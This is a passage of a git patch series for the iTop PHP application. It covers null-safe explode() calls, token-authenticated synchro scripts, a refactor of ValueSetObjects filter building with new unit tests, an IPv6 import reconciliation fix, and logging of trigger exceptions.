''); foreach ($aParamLines as $sLine) { $sLine = trim($sLine); @@ -1687,7 +1687,7 @@ class utils // If cURL is available, let's use it, since it provides a greater control over the various HTTP/SSL options // For instance fopen does not allow to work around the bug: http://stackoverflow.com/questions/18191672/php-curl-ssl-routinesssl23-get-server-helloreason1112 // by setting the SSLVERSION to 3 as done below. - $aHeaders = explode("\n", $sOptionnalHeaders); + $aHeaders = explode("\n", $sOptionnalHeaders ?? ''); // N°3267 - Webservices: Fix optional headers not being taken into account // See https://www.php.net/curl_setopt CURLOPT_HTTPHEADER $aHTTPHeaders = array(); @@ -2418,7 +2418,7 @@ class utils $aCleanHeaders = array(); foreach( $aHeaders as $sKey => $sValue ) { - $aTokens = explode(':', $sValue, 2); + $aTokens = explode(':', $sValue ?? '', 2); if(isset($aTokens[1])) { $aCleanHeaders[trim($aTokens[0])] = trim($aTokens[1]); @@ -2819,7 +2819,7 @@ HTML; $sKey = isset($aShortcutPrefs[$aShortcutKey['id']]) ? $aShortcutPrefs[$aShortcutKey['id']] : $aShortcutKey['key']; // Format key for display - $aKeyParts = explode('+', $sKey); + $aKeyParts = explode('+', $sKey ?? ''); $aFormattedKeyParts = []; foreach ($aKeyParts as $sKeyPart) { $aFormattedKeyParts[] = ucfirst(trim($sKeyPart)); From 939771aa158e4b70a939871f147fdce28f33c2bb Mon Sep 17 00:00:00 2001 From: odain Date: Thu, 23 Feb 2023 16:29:45 +0100 Subject: [PATCH 151/230] =?UTF-8?q?N=C2=B06022=20-=20Make=20synchro=20scri?= =?UTF-8?q?pts=20work=20by=20http=20via=20token=20authentication=20with=20?= =?UTF-8?q?SYNCHRO=20scopes?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- synchro/synchro_exec.php | 7 +++++-- synchro/synchro_import.php | 5 ++++- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/synchro/synchro_exec.php b/synchro/synchro_exec.php index 46f5f11ab..ba0f901ae 100644 --- a/synchro/synchro_exec.php +++ b/synchro/synchro_exec.php @@ -46,7 +46,7 @@ function UsageAndExit($oP) } else { - $oP->p("The parameter 'data_sources' is mandatory, and must contain a comma separated list of data sources\n"); + $oP->p("The parameter 'data_sources' is mandatory, and must contain a comma separated list of data sources\n"); } $oP->output(); exit -2; @@ -105,6 +105,9 @@ if (utils::IsModeCLI()) else { require_once(APPROOT.'/application/loginwebpage.class.inc.php'); + + //N°6022 - Make synchro scripts work by http via token authentication with SYNCHRO scopes + $oCtx = new ContextTag(ContextTag::TAG_SYNCHRO); LoginWebPage::DoLogin(); // Check user rights and prompt if needed } @@ -166,7 +169,7 @@ foreach(explode(',', $sDataSourcesList) as $iSDS) } catch(Exception $e) { - $oP->add($e->getMessage()); + $oP->add($e->getMessage()); if ($bSimulate) { CMDBSource::Query('ROLLBACK'); diff --git a/synchro/synchro_import.php b/synchro/synchro_import.php index 9ece8bc64..935d824de 100644 --- a/synchro/synchro_import.php +++ b/synchro/synchro_import.php @@ -255,7 +255,7 @@ if (utils::IsModeCLI()) { // Next steps: // specific arguments: 'csvfile' - // + // $sAuthUser = ReadMandatoryParam($oP, 'auth_user', 'raw_data'); $sAuthPwd = ReadMandatoryParam($oP, 'auth_pwd', 'raw_data'); $sCsvFile = ReadMandatoryParam($oP, 'csvfile', 'raw_data'); @@ -282,6 +282,9 @@ if (utils::IsModeCLI()) else { require_once APPROOT.'/application/loginwebpage.class.inc.php'; + + //N°6022 - Make synchro scripts work by http via token authentication with SYNCHRO scopes + $oCtx = new ContextTag(ContextTag::TAG_SYNCHRO); LoginWebPage::DoLogin(); // Check user rights and prompt if needed $sCSVData = utils::ReadPostedParam('csvdata', '', 'raw_data'); From bfe55183d0b42fd776dfc8273215c913bcbfca75 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Mon, 27 Feb 2023 15:09:49 +0100 Subject: [PATCH 152/230] =?UTF-8?q?N=C2=B06023=20Fix=20error=20log=20Thank?= =?UTF-8?q?s=20@Hipska=20!?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/htmlsanitizer.class.inc.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/htmlsanitizer.class.inc.php b/core/htmlsanitizer.class.inc.php index 2f9f44280..08d2eeb63 100644 --- a/core/htmlsanitizer.class.inc.php +++ b/core/htmlsanitizer.class.inc.php @@ -44,7 +44,7 @@ abstract class HTMLSanitizer { $sSanitizerClass = utils::GetConfig()->Get($sConfigKey); if (!class_exists($sSanitizerClass)) { - IssueLog::Warning('The configured "html_sanitizer" class "'.$sSanitizerClass.'" is not a valid class. Will use HTMLDOMSanitizer as the default sanitizer.'); + IssueLog::Warning('The configured "'.$sConfigKey.'" class "'.$sSanitizerClass.'" is not a valid class. Will use HTMLDOMSanitizer as the default sanitizer.'); $sSanitizerClass = 'HTMLDOMSanitizer'; } else if (!is_subclass_of($sSanitizerClass, 'HTMLSanitizer')) { if ($sConfigKey === 'html_sanitizer') { From af8f06c8c3976ee4155c2f4444fffbd88406d1d7 Mon Sep 17 00:00:00 2001 From: Anne-Catherine <57360138+accognet@users.noreply.github.com> Date: Mon, 27 Feb 2023 16:18:36 +0100 Subject: [PATCH 153/230] =?UTF-8?q?N=C2=B05603=20-=20Autocomplete=20fails?= =?UTF-8?q?=20with=20error=20for=20an=20external=20key=20pointing=20to=20a?= =?UTF-8?q?n=20abstract=20class=20with=20no=20friendlyname=20(#375)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/valuesetdef.class.inc.php | 217 +++++++----------- .../core/MockValueSetObjects.php | 17 ++ .../core/ValueSetObjectsTest.php | 64 ++++++ 3 files changed, 158 insertions(+), 140 deletions(-) create mode 100644 tests/php-unit-tests/unitary-tests/core/MockValueSetObjects.php create mode 100644 tests/php-unit-tests/unitary-tests/core/ValueSetObjectsTest.php diff --git a/core/valuesetdef.class.inc.php b/core/valuesetdef.class.inc.php index 99911c3de..8fc98e703 100644 --- a/core/valuesetdef.class.inc.php +++ b/core/valuesetdef.class.inc.php @@ -225,108 +225,106 @@ class ValueSetObjects extends ValueSetDefinition $this->m_aValues = array(); - if ($this->m_bAllowAllData) - { - $oFilter = DBObjectSearch::FromOQL_AllData($this->m_sFilterExpr); + $oFilter = $this->GetFilter($sOperation, $sContains); + + $oObjects = new DBObjectSet($oFilter, $this->m_aOrderBy, $aArgs, null, $this->m_iLimit, 0, $this->m_bSort); + if (empty($this->m_sValueAttCode)) { + $aAttToLoad = array($oFilter->GetClassAlias() => array('friendlyname')); + } else { + $aAttToLoad = array($oFilter->GetClassAlias() => array($this->m_sValueAttCode)); } - else - { + $oObjects->OptimizeColumnLoad($aAttToLoad); + while ($oObject = $oObjects->Fetch()) { + if (empty($this->m_sValueAttCode)) { + $this->m_aValues[$oObject->GetKey()] = $oObject->GetName(); + } else { + $this->m_aValues[$oObject->GetKey()] = $oObject->Get($this->m_sValueAttCode); + } + } + + return true; + } + + + /** + * Get filter for functions LoadValues and LoadValuesForAutocomplete + * + * @param $sOperation + * @param $sContains + * + * @return \DBObjectSearch|\DBSearch|\DBUnionSearch|false|mixed + * @throws \CoreException + * @throws \OQLException + * @since 3.0.3 3.1.0 + */ + protected function GetFilter($sOperation, $sContains) + { + $this->m_sContains = $sContains; + $this->m_sOperation = $sOperation; + + if ($this->m_bAllowAllData) { + $oFilter = DBObjectSearch::FromOQL_AllData($this->m_sFilterExpr); + } else { $oFilter = DBObjectSearch::FromOQL($this->m_sFilterExpr); $oFilter->SetShowObsoleteData(utils::ShowObsoleteData()); } - if (!$oFilter) return false; - if (!is_null($this->m_oExtraCondition)) - { + if (!$oFilter) { + return false; + } + if (!is_null($this->m_oExtraCondition)) { $oFilter = $oFilter->Intersect($this->m_oExtraCondition); } - foreach($this->m_aModifierProperties as $sPluginClass => $aProperties) - { - foreach ($aProperties as $sProperty => $value) - { + foreach ($this->m_aModifierProperties as $sPluginClass => $aProperties) { + foreach ($aProperties as $sProperty => $value) { $oFilter->SetModifierProperty($sPluginClass, $sProperty, $value); } } - $oExpression = DBObjectSearch::GetPolymorphicExpression($oFilter->GetClass(), 'friendlyname'); - $aFields = $oExpression->ListRequiredFields(); $sClass = $oFilter->GetClass(); - /*foreach($aFields as $sField) - { - $aFieldItems = explode('.', $sField); - if ($aFieldItems[0] != $sClass) - { - $sOperation = 'contains'; - break; - } - }*/ - switch ($sOperation) - { + switch ($this->m_sOperation) { case 'equals': - $aAttributes = MetaModel::GetFriendlyNameAttributeCodeList($sClass); - $sClassAlias = $oFilter->GetClassAlias(); - $aFilters = array(); - $oValueExpr = new ScalarExpression($sContains); - foreach($aAttributes as $sAttribute) - { - $oNewFilter = $oFilter->DeepClone(); - $oNameExpr = new FieldExpression($sAttribute, $sClassAlias); - $oCondition = new BinaryExpression($oNameExpr, '=', $oValueExpr); - $oNewFilter->AddConditionExpression($oCondition); - $aFilters[] = $oNewFilter; + case 'start_with': + if ($this->m_sOperation === 'start_with') { + $this->m_sContains .= '%'; + $sOperator = 'LIKE'; + } else { + $sOperator = '='; + } + + $aAttributes = MetaModel::GetFriendlyNameAttributeCodeList($sClass); + if (count($aAttributes) > 0) { + $sClassAlias = $oFilter->GetClassAlias(); + $aFilters = array(); + $oValueExpr = new ScalarExpression($this->m_sContains); + foreach ($aAttributes as $sAttribute) { + $oNewFilter = $oFilter->DeepClone(); + $oNameExpr = new FieldExpression($sAttribute, $sClassAlias); + $oCondition = new BinaryExpression($oNameExpr, $sOperator, $oValueExpr); + $oNewFilter->AddConditionExpression($oCondition); + $aFilters[] = $oNewFilter; + } + // Unions are much faster than OR conditions + $oFilter = new DBUnionSearch($aFilters); + } else { + $oValueExpr = new ScalarExpression($this->m_sContains); + $oNameExpr = new FieldExpression('friendlyname', $oFilter->GetClassAlias()); + $oNewCondition = new BinaryExpression($oNameExpr, $sOperator, $oValueExpr); + $oFilter->AddConditionExpression($oNewCondition); } - // Unions are much faster than OR conditions - $oFilter = new DBUnionSearch($aFilters); break; - case 'start_with': - $aAttributes = MetaModel::GetFriendlyNameAttributeCodeList($sClass); - $sClassAlias = $oFilter->GetClassAlias(); - $aFilters = array(); - $oValueExpr = new ScalarExpression($sContains.'%'); - foreach($aAttributes as $sAttribute) - { - $oNewFilter = $oFilter->DeepClone(); - $oNameExpr = new FieldExpression($sAttribute, $sClassAlias); - $oCondition = new BinaryExpression($oNameExpr, 'LIKE', $oValueExpr); - $oNewFilter->AddConditionExpression($oCondition); - $aFilters[] = $oNewFilter; - } - // Unions are much faster than OR conditions - $oFilter = new DBUnionSearch($aFilters); - break; default: - $oValueExpr = new ScalarExpression('%'.$sContains.'%'); + $oValueExpr = new ScalarExpression('%'.$this->m_sContains.'%'); $oNameExpr = new FieldExpression('friendlyname', $oFilter->GetClassAlias()); $oNewCondition = new BinaryExpression($oNameExpr, 'LIKE', $oValueExpr); $oFilter->AddConditionExpression($oNewCondition); break; } - $oObjects = new DBObjectSet($oFilter, $this->m_aOrderBy, $aArgs, null, $this->m_iLimit, 0, $this->m_bSort); - if (empty($this->m_sValueAttCode)) - { - $aAttToLoad = array($oFilter->GetClassAlias() => array('friendlyname')); - } - else - { - $aAttToLoad = array($oFilter->GetClassAlias() => array($this->m_sValueAttCode)); - } - $oObjects->OptimizeColumnLoad($aAttToLoad); - while ($oObject = $oObjects->Fetch()) - { - if (empty($this->m_sValueAttCode)) - { - $this->m_aValues[$oObject->GetKey()] = $oObject->GetName(); - } - else - { - $this->m_aValues[$oObject->GetKey()] = $oObject->Get($this->m_sValueAttCode); - } - } - return true; + return $oFilter; } - + public function GetValuesDescription() { return 'Filter: '.$this->m_sFilterExpr; @@ -376,73 +374,12 @@ class ValueSetObjects extends ValueSetDefinition */ protected function LoadValuesForAutocomplete($aArgs, $sContains = '', $sOperation = 'contains') { - $this->m_sContains = $sContains; - $this->m_sOperation = $sOperation; - $this->m_aValues = array(); - if ($this->m_bAllowAllData) { - $oFilter = DBObjectSearch::FromOQL_AllData($this->m_sFilterExpr); - } else { - $oFilter = DBObjectSearch::FromOQL($this->m_sFilterExpr); - $oFilter->SetShowObsoleteData(utils::ShowObsoleteData()); - } - - if (!$oFilter) { - return false; - } - if (!is_null($this->m_oExtraCondition)) { - $oFilter = $oFilter->Intersect($this->m_oExtraCondition); - } - foreach ($this->m_aModifierProperties as $sPluginClass => $aProperties) { - foreach ($aProperties as $sProperty => $value) { - $oFilter->SetModifierProperty($sPluginClass, $sProperty, $value); - } - } - - //$oExpression = DBObjectSearch::GetPolymorphicExpression($oFilter->GetClass(), 'friendlyname'); + $oFilter = $this->GetFilter($sOperation, $sContains); $sClass = $oFilter->GetClass(); $sClassAlias = $oFilter->GetClassAlias(); - switch ($sOperation) { - case 'equals': - $aAttributes = MetaModel::GetFriendlyNameAttributeCodeList($sClass); - $aFilters = array(); - $oValueExpr = new ScalarExpression($sContains); - foreach ($aAttributes as $sAttribute) { - $oNewFilter = $oFilter->DeepClone(); - $oNameExpr = new FieldExpression($sAttribute, $sClassAlias); - $oCondition = new BinaryExpression($oNameExpr, '=', $oValueExpr); - $oNewFilter->AddConditionExpression($oCondition); - $aFilters[] = $oNewFilter; - } - // Unions are much faster than OR conditions - $oFilter = new DBUnionSearch($aFilters); - break; - case 'start_with': - $aAttributes = MetaModel::GetFriendlyNameAttributeCodeList($sClass); - $aFilters = array(); - $oValueExpr = new ScalarExpression($sContains.'%'); - foreach($aAttributes as $sAttribute) - { - $oNewFilter = $oFilter->DeepClone(); - $oNameExpr = new FieldExpression($sAttribute, $sClassAlias); - $oCondition = new BinaryExpression($oNameExpr, 'LIKE', $oValueExpr); - $oNewFilter->AddConditionExpression($oCondition); - $aFilters[] = $oNewFilter; - } - // Unions are much faster than OR conditions - $oFilter = new DBUnionSearch($aFilters); - break; - - default: - $oValueExpr = new ScalarExpression('%'.$sContains.'%'); - $oNameExpr = new FieldExpression('friendlyname', $sClassAlias); - $oNewCondition = new BinaryExpression($oNameExpr, 'LIKE', $oValueExpr); - $oFilter->AddConditionExpression($oNewCondition); - break; - } - $oObjects = new DBObjectSet($oFilter, $this->m_aOrderBy, $aArgs, null, $this->m_iLimit, 0, $this->m_bSort); if (empty($this->m_sValueAttCode)) { $aAttToLoad = ['friendlyname']; diff --git a/tests/php-unit-tests/unitary-tests/core/MockValueSetObjects.php b/tests/php-unit-tests/unitary-tests/core/MockValueSetObjects.php new file mode 100644 index 000000000..7db46cea8 --- /dev/null +++ b/tests/php-unit-tests/unitary-tests/core/MockValueSetObjects.php @@ -0,0 +1,17 @@ +GetFilter($sOperation, $sContains)->ToOQL(); + + } +} diff --git a/tests/php-unit-tests/unitary-tests/core/ValueSetObjectsTest.php b/tests/php-unit-tests/unitary-tests/core/ValueSetObjectsTest.php new file mode 100644 index 000000000..9f7089f3f --- /dev/null +++ b/tests/php-unit-tests/unitary-tests/core/ValueSetObjectsTest.php @@ -0,0 +1,64 @@ +RequireOnceItopFile('core/valuesetdef.class.inc.php'); + $this->RequireOnceItopFile('application/startup.inc.php'); + $this->RequireOnceUnitTestFile('./MockValueSetObjects.php'); + } + + /** + * @return array + */ + public function GetGetFilterProvider() + { + return array( + 'Ticket contains bla' => array("Ticket", "bla", "contains", "SELECT `Ticket` FROM Ticket AS `Ticket` WHERE (`Ticket`.`friendlyname` LIKE '%bla%')"), + 'Ticket equals bla' => array("Ticket", "bla", "equals", "SELECT `Ticket` FROM Ticket AS `Ticket` WHERE (`Ticket`.`ref` = 'bla')"), + 'Ticket start_with bla' => array("Ticket", "bla", "start_with", "SELECT `Ticket` FROM Ticket AS `Ticket` WHERE (`Ticket`.`ref` LIKE 'bla%')"), + 'UserRequest contains bla' => array("UserRequest", "bla", "contains", "SELECT `UserRequest` FROM UserRequest AS `UserRequest` WHERE (`UserRequest`.`friendlyname` LIKE '%bla%')"), + 'UserRequest equals bla' => array("UserRequest", "bla", "equals", "SELECT `UserRequest` FROM UserRequest AS `UserRequest` WHERE (`UserRequest`.`ref` = 'bla')"), + 'UserRequest start_with bla' => array("UserRequest", "bla", "start_with", "SELECT `UserRequest` FROM UserRequest AS `UserRequest` WHERE (`UserRequest`.`ref` LIKE 'bla%')"), + ); + } + + + /** + * @param $Class + * @param $sContains + * @param $sOperation + * @param $sExpectedOQL + * + * @dataProvider GetGetFilterProvider + * @return void + */ + public function testGetFiler($Class, $sContains, $sOperation, $sExpectedOQL) + { + $sFilterExp = 'SELECT '.$Class; + $oValueSetObject = new MockValueSetObjects($sFilterExp); + $sFilter = $oValueSetObject->GetFilterOQL($sOperation, $sContains); + + $this->assertEquals($sExpectedOQL, $sFilter); + + } +} \ No newline at end of file From 370c1345d98970fbecf783617e44645952c1097f Mon Sep 17 00:00:00 2001 From: Anne-Catherine <57360138+accognet@users.noreply.github.com> Date: Tue, 28 Feb 2023 12:08:32 +0100 Subject: [PATCH 154/230] =?UTF-8?q?N=C2=B02916=20-=20Import=20of=20IPv6=20?= =?UTF-8?q?addresses=20fails=20when=20reconciliation=20is=20done=20on=20th?= =?UTF-8?q?e=20IP=20(#382)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/bulkchange.class.inc.php | 89 ++++++++++++++++------------------- 1 file changed, 40 insertions(+), 49 deletions(-) diff --git a/core/bulkchange.class.inc.php b/core/bulkchange.class.inc.php index f68d227a6..f4d55bb4b 100644 --- a/core/bulkchange.class.inc.php +++ b/core/bulkchange.class.inc.php @@ -11,7 +11,7 @@ define('UTF8_BOM', chr(239).chr(187).chr(191)); // 0xEF, 0xBB, 0xBF /** * CellChangeSpec - * A series of classes, keeping the information about a given cell: could it be changed or not (and why)? + * A series of classes, keeping the information about a given cell: could it be changed or not (and why)? * * @package iTopORM */ @@ -144,7 +144,7 @@ class CellStatus_Ambiguous extends CellStatus_Issue /** * RowStatus - * A series of classes, keeping the information about a given row: could it be changed or not (and why)? + * A series of classes, keeping the information about a given row: could it be changed or not (and why)? * * @package iTopORM */ @@ -220,7 +220,7 @@ class RowStatus_Issue extends RowStatus */ class BulkChange { - protected $m_sClass; + protected $m_sClass; protected $m_aData; // Note: hereafter, iCol maybe actually be any acceptable key (string) // #@# todo: rename the variables to sColIndex protected $m_aAttList; // attcode => iCol @@ -261,7 +261,7 @@ class BulkChange $this->m_sReportCsvSep = $sSeparator; $this->m_sReportCsvDelimiter = $sDelimiter; } - + protected function ResolveExternalKey($aRowData, $sAttCode, &$aResults) { $oExtKey = MetaModel::GetAttributeDef($this->m_sClass, $sAttCode); @@ -318,7 +318,7 @@ class BulkChange { $aResults = array(); $aErrors = array(); - + // External keys reconciliation // foreach($this->m_aExtKeys as $sAttCode => $aKeyConfig) @@ -408,12 +408,12 @@ class BulkChange $aErrors[$sAttCode] = Dict::S('UI:CSVReport-Value-Issue-NotFound'); $aResults[$sAttCode]= new CellStatus_SearchIssue(); break; - + case 1: // Do change the external key attribute $oTargetObj->Set($sAttCode, $iForeignKey); break; - + default: $aErrors[$sAttCode] = Dict::Format('UI:CSVReport-Value-Issue-FoundMany', $iCount); $aResults[$sAttCode]= new CellStatus_Ambiguous($oTargetObj->Get($sAttCode), $iCount, $sOQL); @@ -446,7 +446,7 @@ class BulkChange } } } - + // Set the object attributes // foreach ($this->m_aAttList as $sAttCode => $iCol) @@ -467,30 +467,21 @@ class BulkChange $iFlags = ($oTargetObj->IsNew()) ? $oTargetObj->GetInitialStateAttributeFlags($sAttCode, $aReasons) : $oTargetObj->GetAttributeFlags($sAttCode, $aReasons); - if ( (($iFlags & OPT_ATT_READONLY) == OPT_ATT_READONLY) && ( $oTargetObj->Get($sAttCode) != $aRowData[$iCol]) ) { + if ((($iFlags & OPT_ATT_READONLY) == OPT_ATT_READONLY) && ($oTargetObj->Get($sAttCode) != $oAttDef->MakeValueFromString($aRowData[$iCol], $this->m_bLocalizedValues))) { $aErrors[$sAttCode] = Dict::Format('UI:CSVReport-Value-Issue-Readonly', $sAttCode, $oTargetObj->Get($sAttCode), $aRowData[$iCol]); - } - else if ($oAttDef->IsLinkSet() && $oAttDef->IsIndirect()) - { - try - { + } else if ($oAttDef->IsLinkSet() && $oAttDef->IsIndirect()) { + try { $oSet = $oAttDef->MakeValueFromString($aRowData[$iCol], $this->m_bLocalizedValues); $oTargetObj->Set($sAttCode, $oSet); } - catch(CoreException $e) - { + catch (CoreException $e) { $aErrors[$sAttCode] = Dict::Format('UI:CSVReport-Value-Issue-Format', $e->getMessage()); } - } - else - { + } else { $value = $oAttDef->MakeValueFromString($aRowData[$iCol], $this->m_bLocalizedValues); - if (is_null($value) && (strlen($aRowData[$iCol]) > 0)) - { + if (is_null($value) && (strlen($aRowData[$iCol]) > 0)) { $aErrors[$sAttCode] = Dict::Format('UI:CSVReport-Value-Issue-NoMatch', $sAttCode); - } - else - { + } else { $res = $oTargetObj->CheckValue($sAttCode, $value); if ($res === true) { @@ -504,7 +495,7 @@ class BulkChange } } } - + // Reporting on fields // $aChangedFields = $oTargetObj->ListChanges(); @@ -556,7 +547,7 @@ class BulkChange } } } - + // Checks // $res = $oTargetObj->CheckConsistency(); @@ -567,12 +558,12 @@ class BulkChange } return $aResults; } - + protected function PrepareMissingObject(&$oTargetObj, &$aErrors) { $aResults = array(); $aErrors = array(); - + // External keys // foreach($this->m_aExtKeys as $sAttCode => $aKeyConfig) @@ -585,7 +576,7 @@ class BulkChange $aResults[$iCol] = new CellStatus_Void('?'); } } - + // Update attributes // foreach($this->m_aOnDisappear as $sAttCode => $value) @@ -596,7 +587,7 @@ class BulkChange } $oTargetObj->Set($sAttCode, $value); } - + // Reporting on fields // $aChangedFields = $oTargetObj->ListChanges(); @@ -616,7 +607,7 @@ class BulkChange $aResults[$iCol]= new CellStatus_Void($oTargetObj->Get($sAttCode)); } } - + // Checks // $res = $oTargetObj->CheckConsistency(); @@ -674,14 +665,14 @@ class BulkChange } $aResult[$iRow] = $this->PrepareObject($oTargetObj, $aRowData, $aErrors); - + if (count($aErrors) > 0) { $sErrors = implode(', ', $aErrors); $aResult[$iRow]["__STATUS__"] = new RowStatus_Issue(Dict::S('UI:CSVReport-Row-Issue-Attribute')); return $oTargetObj; } - + // Check that any external key will have a value proposed $aMissingKeys = array(); foreach (MetaModel::GetExternalKeys($this->m_sClass) as $sExtKeyAttCode => $oExtKey) @@ -689,7 +680,7 @@ class BulkChange if (!$oExtKey->IsNullAllowed()) { if (!array_key_exists($sExtKeyAttCode, $this->m_aExtKeys) && !array_key_exists($sExtKeyAttCode, $this->m_aAttList)) - { + { $aMissingKeys[] = $oExtKey->GetLabel(); } } @@ -747,12 +738,12 @@ class BulkChange $aResult[$iRow]["__STATUS__"] = new RowStatus_Issue(Dict::S('UI:CSVReport-Row-Issue-Attribute')); return; } - + $aChangedFields = $oTargetObj->ListChanges(); if (count($aChangedFields) > 0) { $aResult[$iRow]["__STATUS__"] = new RowStatus_Modify(count($aChangedFields)); - + // Optionaly record the results // if ($oChange) @@ -796,7 +787,7 @@ class BulkChange $aResult[$iRow]["__STATUS__"] = new RowStatus_Issue(Dict::S('UI:CSVReport-Row-Issue-Attribute')); return; } - + $aChangedFields = $oTargetObj->ListChanges(); if (count($aChangedFields) > 0) { @@ -821,7 +812,7 @@ class BulkChange $aResult[$iRow]["__STATUS__"] = new RowStatus_Disappeared(0); } } - + public function Process(CMDBChange $oChange = null) { if ($oChange) @@ -866,7 +857,7 @@ class BulkChange foreach ($this->m_aAttList as $sAttCode => $iCol) { if ($sAttCode == 'id') continue; - + $oAttDef = MetaModel::GetAttributeDef($this->m_sClass, $sAttCode); if ($oAttDef instanceof AttributeDateTime) // AttributeDate is derived from AttributeDateTime { @@ -953,22 +944,22 @@ class BulkChange { // The value has to be found or verified list($sQuery, $aMatches) = $this->ResolveExternalKey($aRowData, $sAttCode, $aResult[$iRow]); - + if (count($aMatches) == 1) { $oRemoteObj = reset($aMatches); // first item $valuecondition = $oRemoteObj->GetKey(); $aResult[$iRow][$sAttCode] = new CellStatus_Void($oRemoteObj->GetKey()); - } + } elseif (count($aMatches) == 0) { $aResult[$iRow][$sAttCode] = new CellStatus_SearchIssue(); - } + } else { $aResult[$iRow][$sAttCode] = new CellStatus_Ambiguous(null, count($aMatches), $sQuery); } - } + } } else { @@ -990,7 +981,7 @@ class BulkChange } else { - $oReconciliationFilter->AddCondition($sAttCode, $valuecondition, '='); + $oReconciliationFilter->AddCondition($sAttCode, $valuecondition, '=', true); } } if ($bSkipQuery) @@ -1110,7 +1101,7 @@ class BulkChange } } $oBulkChanges->Seek(0); - + $aDetails = array(); while ($oChange = $oBulkChanges->Fetch()) { @@ -1274,7 +1265,7 @@ EOF $oOldTarget = MetaModel::GetObject($oAttDef->GetTargetClass(), $oOperation->Get('oldvalue')); $sOldValue = $oOldTarget->GetHyperlink(); } - + $sNewValue = Dict::S('UI:UndefinedObject'); if ($oOperation->Get('newvalue') != 0) { @@ -1300,11 +1291,11 @@ EOF } else { - $aAttributes[$sAttCode] = 1; + $aAttributes[$sAttCode] = 1; } } } - + $aDetails = array(); foreach($aObjects as $iUId => $aObjData) { @@ -1356,6 +1347,6 @@ EOF $aConfig[$sAttCode] = array('label' => MetaModel::GetLabel($sClass, $sAttCode), 'description' => MetaModel::GetDescription($sClass, $sAttCode)); } $oPage->table($aConfig, $aDetails); - } + } } From 759b1825fe03097428052980d98da11f061e81f1 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 28 Feb 2023 13:33:47 +0100 Subject: [PATCH 155/230] =?UTF-8?q?N=C2=B05918=20-=20Fix=20activity=20pane?= =?UTF-8?q?l=20disappearing=20when=20DoCheckToWrite=20fails?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/dbobject.class.php | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/core/dbobject.class.php b/core/dbobject.class.php index cb444e50b..59049c7c2 100644 --- a/core/dbobject.class.php +++ b/core/dbobject.class.php @@ -2792,12 +2792,6 @@ abstract class DBObject implements iDisplay $this->DoComputeValues(); $this->OnInsert(); - if ($this->m_iKey < 0) - { - // This was a temporary "memory" key: discard it so that DBInsertSingleTable will not try to use it! - $this->m_iKey = null; - } - // If not automatically computed, then check that the key is given by the caller if (!MetaModel::IsAutoIncrementKey($sRootClass)) { @@ -2814,6 +2808,12 @@ abstract class DBObject implements iDisplay throw new CoreCannotSaveObjectException(array('issues' => $aIssues, 'class' => get_class($this), 'id' => $this->GetKey())); } + if ($this->m_iKey < 0) + { + // This was a temporary "memory" key: discard it so that DBInsertSingleTable will not try to use it! + $this->m_iKey = null; + } + // Stop watches $sState = $this->GetState(); if ($sState != '') From 4cea418517b41741c480d5a8a0eccaba3400cbea Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 28 Feb 2023 15:13:28 +0100 Subject: [PATCH 156/230] =?UTF-8?q?N=C2=B05893=20-=20Log=20triggers=20exce?= =?UTF-8?q?ption=20in=20CRUD=20stack=20(#390)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Log TriggerOnObjectCreate crash * Log TriggerOnObjectUpdate crash * Log TriggerOnObjectDelete crash * Factorize TriggerOnObject log * \TriggerOnObject::LogException : do not replace not persisted yet object keys --- core/dbobject.class.php | 12 ++++++++---- core/trigger.class.inc.php | 37 ++++++++++++++++++++++++++++++++----- 2 files changed, 40 insertions(+), 9 deletions(-) diff --git a/core/dbobject.class.php b/core/dbobject.class.php index dc2fd1484..2baf3c3f7 100644 --- a/core/dbobject.class.php +++ b/core/dbobject.class.php @@ -2826,13 +2826,14 @@ abstract class DBObject implements iDisplay $oSet = new DBObjectSet(DBObjectSearch::FromOQL("SELECT TriggerOnObjectCreate AS t WHERE t.target_class IN (:class_list)"), array(), $aParams); while ($oTrigger = $oSet->Fetch()) { - /** @var \Trigger $oTrigger */ + /** @var \TriggerOnObjectCreate $oTrigger */ try { $oTrigger->DoActivate($this->ToArgs('this')); } catch(Exception $e) { + $oTrigger->LogException($e, $this); utils::EnrichRaisedException($oTrigger, $e); } } @@ -3150,6 +3151,7 @@ abstract class DBObject implements iDisplay $oTrigger->DoActivate($this->ToArgs('this')); } catch (Exception $e) { + $oTrigger->LogException($e, $this); utils::EnrichRaisedException($oTrigger, $e); } } @@ -3470,13 +3472,13 @@ abstract class DBObject implements iDisplay $aParams); while ($oTrigger = $oSet->Fetch()) { - /** @var \Trigger $oTrigger */ + /** @var \TriggerOnObjectDelete $oTrigger */ try { $oTrigger->DoActivate($this->ToArgs('this')); } - catch(Exception $e) - { + catch(Exception $e) { + $oTrigger->LogException($e, $this); utils::EnrichRaisedException($oTrigger, $e); } } @@ -3891,6 +3893,7 @@ abstract class DBObject implements iDisplay $oTrigger->DoActivate($this->ToArgs('this')); } catch (Exception $e) { + $oTrigger->LogException($e, $this); utils::EnrichRaisedException($oTrigger, $e); } } @@ -3902,6 +3905,7 @@ abstract class DBObject implements iDisplay $oTrigger->DoActivate($this->ToArgs('this')); } catch (Exception $e) { + $oTrigger->LogException($e, $this); utils::EnrichRaisedException($oTrigger, $e); } } diff --git a/core/trigger.class.inc.php b/core/trigger.class.inc.php index 39e7f7143..6783882ca 100644 --- a/core/trigger.class.inc.php +++ b/core/trigger.class.inc.php @@ -259,21 +259,48 @@ abstract class TriggerOnObject extends Trigger public function IsTargetObject($iObjectId, $aChanges = array()) { $sFilter = trim($this->Get('filter')); - if (strlen($sFilter) > 0) - { + if (strlen($sFilter) > 0) { $oSearch = DBObjectSearch::FromOQL($sFilter); $oSearch->AddCondition('id', $iObjectId, '='); 